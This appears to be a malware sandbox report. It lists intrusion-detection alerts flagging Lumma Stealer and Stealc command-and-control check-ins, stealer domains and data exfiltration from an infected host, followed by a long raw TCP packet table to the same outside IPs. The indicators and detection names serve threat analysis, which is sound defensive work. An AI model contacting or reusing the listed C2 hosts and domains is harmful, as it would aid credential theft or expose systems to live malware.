2024-11-01T05:53:37.148322+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	50029	185.215.113.206	80	TCP
2024-11-01T05:53:37.427102+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.5	50031	188.114.96.3	443	TCP
2024-11-01T05:53:37.427102+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50031	188.114.96.3	443	TCP
2024-11-01T05:53:40.055102+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.5	50041	188.114.96.3	443	TCP
2024-11-01T05:53:40.055102+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50041	188.114.96.3	443	TCP
2024-11-01T05:53:40.760200+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.5	50041	188.114.96.3	443	TCP
2024-11-01T05:53:41.643303+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.5	50042	188.114.96.3	443	TCP
2024-11-01T05:53:41.643303+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50042	188.114.96.3	443	TCP
2024-11-01T05:53:41.967105+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	50042	188.114.96.3	443	TCP
2024-11-01T05:53:42.896656+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.5	50044	185.215.113.16	80	TCP
2024-11-01T05:53:48.973758+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	50047	185.215.113.206	80	TCP
2024-11-01T05:53:57.721462+0100	2057131	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store)	1	192.168.2.5	56553	1.1.1.1	53	UDP
2024-11-01T05:53:57.842429+0100	2057129	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store)	1	192.168.2.5	51591	1.1.1.1	53	UDP
2024-11-01T05:53:57.860227+0100	2057127	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store)	1	192.168.2.5	64706	1.1.1.1	53	UDP
2024-11-01T05:53:57.882275+0100	2057125	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store)	1	192.168.2.5	51497	1.1.1.1	53	UDP
2024-11-01T05:53:58.526532+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.5	50077	188.114.96.3	443	TCP
2024-11-01T05:53:58.526532+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50077	188.114.96.3	443	TCP
2024-11-01T05:53:59.592007+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	50077	188.114.96.3	443	TCP
2024-11-01T05:53:59.592007+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	50077	188.114.96.3	443	TCP
2024-11-01T05:54:00.266651+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.5	50083	188.114.96.3	443	TCP
2024-11-01T05:54:00.266651+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50083	188.114.96.3	443	TCP
2024-11-01T05:54:00.742386+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.5	50083	188.114.96.3	443	TCP
2024-11-01T05:54:00.742386+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	50083	188.114.96.3	443	TCP
2024-11-01T05:54:01.491444+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.5	50084	188.114.96.3	443	TCP
2024-11-01T05:54:01.491444+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50084	188.114.96.3	443	TCP
2024-11-01T05:54:02.640530+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.5	50086	188.114.96.3	443	TCP
2024-11-01T05:54:02.640530+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50086	188.114.96.3	443	TCP
2024-11-01T05:54:04.096639+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.5	50088	188.114.96.3	443	TCP
2024-11-01T05:54:04.096639+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50088	188.114.96.3	443	TCP
2024-11-01T05:54:05.753951+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.5	50090	188.114.96.3	443	TCP
2024-11-01T05:54:05.753951+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50090	188.114.96.3	443	TCP
2024-11-01T05:54:06.366136+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.5	50090	188.114.96.3	443	TCP
2024-11-01T05:54:08.774003+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.5	50093	188.114.96.3	443	TCP
2024-11-01T05:54:08.774003+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50093	188.114.96.3	443	TCP
2024-11-01T05:54:08.779118+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.5	50093	188.114.96.3	443	TCP
2024-11-01T05:54:09.234706+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	50092	185.215.113.206	80	TCP
2024-11-01T05:54:10.434698+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.5	50095	188.114.96.3	443	TCP
2024-11-01T05:54:10.434698+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50095	188.114.96.3	443	TCP
2024-11-01T05:54:11.126234+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	50095	188.114.96.3	443	TCP
2024-11-01T05:54:12.063654+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.5	50096	185.215.113.16	80	TCP
2024-11-01T05:54:25.454233+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	50131	185.215.113.206	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 1, 2024 05:52:05.819286108 CET	49704	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:52:05.819330931 CET	443	49704	188.114.96.3	192.168.2.5
Nov 1, 2024 05:52:05.819410086 CET	49704	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:52:05.822911978 CET	49704	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:52:05.822927952 CET	443	49704	188.114.96.3	192.168.2.5
Nov 1, 2024 05:52:06.434926987 CET	443	49704	188.114.96.3	192.168.2.5
Nov 1, 2024 05:52:06.435018063 CET	49704	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:52:06.438666105 CET	49704	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:52:06.438674927 CET	443	49704	188.114.96.3	192.168.2.5
Nov 1, 2024 05:52:06.438879013 CET	443	49704	188.114.96.3	192.168.2.5
Nov 1, 2024 05:52:06.484122992 CET	49704	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:52:06.484155893 CET	49704	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:52:06.484198093 CET	443	49704	188.114.96.3	192.168.2.5
Nov 1, 2024 05:52:07.015784979 CET	443	49704	188.114.96.3	192.168.2.5
Nov 1, 2024 05:52:07.015870094 CET	443	49704	188.114.96.3	192.168.2.5
Nov 1, 2024 05:52:07.015935898 CET	49704	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:52:07.017508030 CET	49704	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:52:07.017524958 CET	443	49704	188.114.96.3	192.168.2.5
Nov 1, 2024 05:52:07.017559052 CET	49704	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:52:07.017565012 CET	443	49704	188.114.96.3	192.168.2.5
Nov 1, 2024 05:52:07.061285973 CET	49705	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:52:07.061333895 CET	443	49705	188.114.96.3	192.168.2.5
Nov 1, 2024 05:52:07.061408997 CET	49705	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:52:07.061693907 CET	49705	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:52:07.061718941 CET	443	49705	188.114.96.3	192.168.2.5
Nov 1, 2024 05:52:07.669871092 CET	443	49705	188.114.96.3	192.168.2.5
Nov 1, 2024 05:52:07.669974089 CET	49705	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:52:07.671164989 CET	49705	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:52:07.671180964 CET	443	49705	188.114.96.3	192.168.2.5
Nov 1, 2024 05:52:07.671396017 CET	443	49705	188.114.96.3	192.168.2.5
Nov 1, 2024 05:52:07.672540903 CET	49705	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:52:07.672584057 CET	49705	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:52:07.672616959 CET	443	49705	188.114.96.3	192.168.2.5
Nov 1, 2024 05:52:08.368356943 CET	443	49705	188.114.96.3	192.168.2.5
Nov 1, 2024 05:52:08.368408918 CET	443	49705	188.114.96.3	192.168.2.5
Nov 1, 2024 05:52:08.368439913 CET	443	49705	188.114.96.3	192.168.2.5
Nov 1, 2024 05:52:08.368465900 CET	443	49705	188.114.96.3	192.168.2.5
Nov 1, 2024 05:52:08.368475914 CET	49705	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:52:08.368490934 CET	443	49705	188.114.96.3	192.168.2.5
Nov 1, 2024 05:52:08.368521929 CET	443	49705	188.114.96.3	192.168.2.5
Nov 1, 2024 05:52:08.368547916 CET	49705	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:52:08.368557930 CET	443	49705	188.114.96.3	192.168.2.5
Nov 1, 2024 05:52:08.368582010 CET	49705	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:52:08.368590117 CET	443	49705	188.114.96.3	192.168.2.5
Nov 1, 2024 05:52:08.368623018 CET	443	49705	188.114.96.3	192.168.2.5
Nov 1, 2024 05:52:08.368627071 CET	49705	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:52:08.368637085 CET	443	49705	188.114.96.3	192.168.2.5
Nov 1, 2024 05:52:08.368685007 CET	49705	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:52:08.484625101 CET	443	49705	188.114.96.3	192.168.2.5
Nov 1, 2024 05:52:08.484700918 CET	443	49705	188.114.96.3	192.168.2.5
Nov 1, 2024 05:52:08.484729052 CET	443	49705	188.114.96.3	192.168.2.5
Nov 1, 2024 05:52:08.484762907 CET	49705	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:52:08.484781027 CET	443	49705	188.114.96.3	192.168.2.5
Nov 1, 2024 05:52:08.484797955 CET	443	49705	188.114.96.3	192.168.2.5
Nov 1, 2024 05:52:08.484843969 CET	49705	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:52:08.484878063 CET	49705	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:52:08.485133886 CET	49705	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:52:08.485146999 CET	443	49705	188.114.96.3	192.168.2.5
Nov 1, 2024 05:52:08.485157013 CET	49705	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:52:08.485162020 CET	443	49705	188.114.96.3	192.168.2.5
Nov 1, 2024 05:52:08.785588026 CET	49706	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:52:08.785620928 CET	443	49706	188.114.96.3	192.168.2.5
Nov 1, 2024 05:52:08.785707951 CET	49706	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:52:08.786057949 CET	49706	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:52:08.786072016 CET	443	49706	188.114.96.3	192.168.2.5
Nov 1, 2024 05:52:09.395896912 CET	443	49706	188.114.96.3	192.168.2.5
Nov 1, 2024 05:52:09.395982981 CET	49706	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:52:09.397314072 CET	49706	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:52:09.397320986 CET	443	49706	188.114.96.3	192.168.2.5
Nov 1, 2024 05:52:09.397530079 CET	443	49706	188.114.96.3	192.168.2.5
Nov 1, 2024 05:52:09.398863077 CET	49706	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:52:09.399056911 CET	49706	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:52:09.399081945 CET	443	49706	188.114.96.3	192.168.2.5
Nov 1, 2024 05:52:10.120733976 CET	443	49706	188.114.96.3	192.168.2.5
Nov 1, 2024 05:52:10.120803118 CET	443	49706	188.114.96.3	192.168.2.5
Nov 1, 2024 05:52:10.120872974 CET	49706	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:52:10.123899937 CET	49706	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:52:10.123918056 CET	443	49706	188.114.96.3	192.168.2.5
Nov 1, 2024 05:52:10.231775045 CET	49707	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:52:10.231811047 CET	443	49707	188.114.96.3	192.168.2.5
Nov 1, 2024 05:52:10.231889009 CET	49707	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:52:10.232198000 CET	49707	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:52:10.232212067 CET	443	49707	188.114.96.3	192.168.2.5
Nov 1, 2024 05:52:10.848743916 CET	443	49707	188.114.96.3	192.168.2.5
Nov 1, 2024 05:52:10.848829985 CET	49707	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:52:10.850121021 CET	49707	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:52:10.850127935 CET	443	49707	188.114.96.3	192.168.2.5
Nov 1, 2024 05:52:10.850344896 CET	443	49707	188.114.96.3	192.168.2.5
Nov 1, 2024 05:52:10.851525068 CET	49707	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:52:10.851658106 CET	49707	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:52:10.851692915 CET	443	49707	188.114.96.3	192.168.2.5
Nov 1, 2024 05:52:10.851752043 CET	49707	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:52:10.851758957 CET	443	49707	188.114.96.3	192.168.2.5
Nov 1, 2024 05:52:11.374259949 CET	443	49707	188.114.96.3	192.168.2.5
Nov 1, 2024 05:52:11.374355078 CET	443	49707	188.114.96.3	192.168.2.5
Nov 1, 2024 05:52:11.374414921 CET	49707	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:52:11.374664068 CET	49707	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:52:11.374680996 CET	443	49707	188.114.96.3	192.168.2.5
Nov 1, 2024 05:52:11.580025911 CET	49708	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:52:11.580087900 CET	443	49708	188.114.96.3	192.168.2.5
Nov 1, 2024 05:52:11.580179930 CET	49708	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:52:11.580564022 CET	49708	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:52:11.580591917 CET	443	49708	188.114.96.3	192.168.2.5
Nov 1, 2024 05:52:12.179831982 CET	443	49708	188.114.96.3	192.168.2.5
Nov 1, 2024 05:52:12.179939985 CET	49708	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:52:12.181498051 CET	49708	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:52:12.181521893 CET	443	49708	188.114.96.3	192.168.2.5
Nov 1, 2024 05:52:12.181793928 CET	443	49708	188.114.96.3	192.168.2.5
Nov 1, 2024 05:52:12.183222055 CET	49708	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:52:12.183443069 CET	49708	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:52:12.183481932 CET	443	49708	188.114.96.3	192.168.2.5
Nov 1, 2024 05:52:12.183569908 CET	49708	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:52:12.183583021 CET	443	49708	188.114.96.3	192.168.2.5
Nov 1, 2024 05:52:12.811166048 CET	443	49708	188.114.96.3	192.168.2.5
Nov 1, 2024 05:52:12.811292887 CET	443	49708	188.114.96.3	192.168.2.5
Nov 1, 2024 05:52:12.811358929 CET	49708	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:52:12.811482906 CET	49708	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:52:12.811499119 CET	443	49708	188.114.96.3	192.168.2.5
Nov 1, 2024 05:52:13.310961962 CET	49709	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:52:13.310988903 CET	443	49709	188.114.96.3	192.168.2.5
Nov 1, 2024 05:52:13.311074972 CET	49709	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:52:13.311439991 CET	49709	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:52:13.311453104 CET	443	49709	188.114.96.3	192.168.2.5
Nov 1, 2024 05:52:13.921435118 CET	443	49709	188.114.96.3	192.168.2.5
Nov 1, 2024 05:52:13.921511889 CET	49709	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:52:13.931864023 CET	49709	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:52:13.931879997 CET	443	49709	188.114.96.3	192.168.2.5
Nov 1, 2024 05:52:13.932090044 CET	443	49709	188.114.96.3	192.168.2.5
Nov 1, 2024 05:52:13.939209938 CET	49709	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:52:13.983339071 CET	443	49709	188.114.96.3	192.168.2.5
Nov 1, 2024 05:52:13.984710932 CET	49709	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:52:13.984719038 CET	443	49709	188.114.96.3	192.168.2.5
Nov 1, 2024 05:52:14.876223087 CET	443	49709	188.114.96.3	192.168.2.5
Nov 1, 2024 05:52:14.876347065 CET	443	49709	188.114.96.3	192.168.2.5
Nov 1, 2024 05:52:14.876416922 CET	49709	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:52:14.876514912 CET	49709	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:52:14.876528978 CET	443	49709	188.114.96.3	192.168.2.5
Nov 1, 2024 05:52:15.331497908 CET	49710	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:52:15.331547976 CET	443	49710	188.114.96.3	192.168.2.5
Nov 1, 2024 05:52:15.331623077 CET	49710	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:52:15.331969023 CET	49710	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:52:15.331984997 CET	443	49710	188.114.96.3	192.168.2.5
Nov 1, 2024 05:52:15.940049887 CET	443	49710	188.114.96.3	192.168.2.5
Nov 1, 2024 05:52:15.940258026 CET	49710	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:52:15.941765070 CET	49710	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:52:15.941781044 CET	443	49710	188.114.96.3	192.168.2.5
Nov 1, 2024 05:52:15.942102909 CET	443	49710	188.114.96.3	192.168.2.5
Nov 1, 2024 05:52:15.943675995 CET	49710	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:52:15.944497108 CET	49710	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:52:15.944528103 CET	443	49710	188.114.96.3	192.168.2.5
Nov 1, 2024 05:52:15.944617987 CET	49710	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:52:15.944648027 CET	443	49710	188.114.96.3	192.168.2.5
Nov 1, 2024 05:52:15.944736958 CET	49710	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:52:15.944806099 CET	443	49710	188.114.96.3	192.168.2.5
Nov 1, 2024 05:52:15.944912910 CET	49710	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:52:15.944936037 CET	443	49710	188.114.96.3	192.168.2.5
Nov 1, 2024 05:52:15.945055008 CET	49710	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:52:15.945081949 CET	443	49710	188.114.96.3	192.168.2.5
Nov 1, 2024 05:52:15.945215940 CET	49710	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:52:15.945240974 CET	443	49710	188.114.96.3	192.168.2.5
Nov 1, 2024 05:52:15.945254087 CET	49710	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:52:15.945367098 CET	49710	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:52:15.945395947 CET	49710	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:52:15.957659960 CET	443	49710	188.114.96.3	192.168.2.5
Nov 1, 2024 05:52:15.957803965 CET	49710	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:52:15.957818985 CET	443	49710	188.114.96.3	192.168.2.5
Nov 1, 2024 05:52:15.957834005 CET	49710	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:52:15.957844973 CET	49710	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:52:15.957882881 CET	443	49710	188.114.96.3	192.168.2.5
Nov 1, 2024 05:52:15.957957983 CET	49710	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:52:15.957982063 CET	49710	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:52:15.958018064 CET	49710	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:52:15.969252110 CET	443	49710	188.114.96.3	192.168.2.5
Nov 1, 2024 05:52:15.969338894 CET	49710	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:52:15.969357967 CET	443	49710	188.114.96.3	192.168.2.5
Nov 1, 2024 05:52:17.685235023 CET	443	49710	188.114.96.3	192.168.2.5
Nov 1, 2024 05:52:17.685323954 CET	443	49710	188.114.96.3	192.168.2.5
Nov 1, 2024 05:52:17.685385942 CET	49710	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:52:17.685553074 CET	49710	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:52:17.685568094 CET	443	49710	188.114.96.3	192.168.2.5
Nov 1, 2024 05:52:17.715717077 CET	49711	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:52:17.715745926 CET	443	49711	188.114.96.3	192.168.2.5
Nov 1, 2024 05:52:17.715820074 CET	49711	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:52:17.716171026 CET	49711	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:52:17.716182947 CET	443	49711	188.114.96.3	192.168.2.5
Nov 1, 2024 05:52:18.333339930 CET	443	49711	188.114.96.3	192.168.2.5
Nov 1, 2024 05:52:18.333446980 CET	49711	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:52:18.335002899 CET	49711	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:52:18.335011959 CET	443	49711	188.114.96.3	192.168.2.5
Nov 1, 2024 05:52:18.336003065 CET	443	49711	188.114.96.3	192.168.2.5
Nov 1, 2024 05:52:18.337482929 CET	49711	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:52:18.337502003 CET	49711	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:52:18.337555885 CET	443	49711	188.114.96.3	192.168.2.5
Nov 1, 2024 05:52:18.787506104 CET	443	49711	188.114.96.3	192.168.2.5
Nov 1, 2024 05:52:18.787779093 CET	443	49711	188.114.96.3	192.168.2.5
Nov 1, 2024 05:52:18.787839890 CET	49711	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:52:18.788050890 CET	49711	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:52:18.788063049 CET	443	49711	188.114.96.3	192.168.2.5
Nov 1, 2024 05:52:18.788078070 CET	49711	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:52:18.788083076 CET	443	49711	188.114.96.3	192.168.2.5
Nov 1, 2024 05:52:18.789834023 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:18.794631004 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:18.794709921 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:18.794879913 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:18.799629927 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:19.709877968 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:19.709933996 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:19.709944963 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:19.709955931 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:19.709983110 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:19.710022926 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:19.710114002 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:19.710124969 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:19.710135937 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:19.710167885 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:19.710190058 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:19.710201025 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:19.710211992 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:19.710227966 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:19.710251093 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:19.715866089 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:19.715940952 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:19.716008902 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:19.871489048 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:19.871504068 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:19.871515036 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:19.871547937 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:19.871741056 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:19.871752024 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:19.871762991 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:19.871777058 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:19.871783972 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:19.871831894 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:19.872267962 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:19.872279882 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:19.872292042 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:19.872303963 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:19.872319937 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:19.872319937 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:19.872812986 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:19.872823954 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:19.872836113 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:19.872860909 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:19.872884989 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:19.998285055 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:19.998306036 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:19.998317003 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:19.998327971 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:19.998337984 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:19.998348951 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:19.998357058 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:19.998375893 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:19.998428106 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:19.998718023 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:19.998728991 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:19.998737097 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:19.998769999 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:19.998781919 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:19.998792887 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:19.998841047 CET	49712	80	192.168.2.5	185.215.113.16
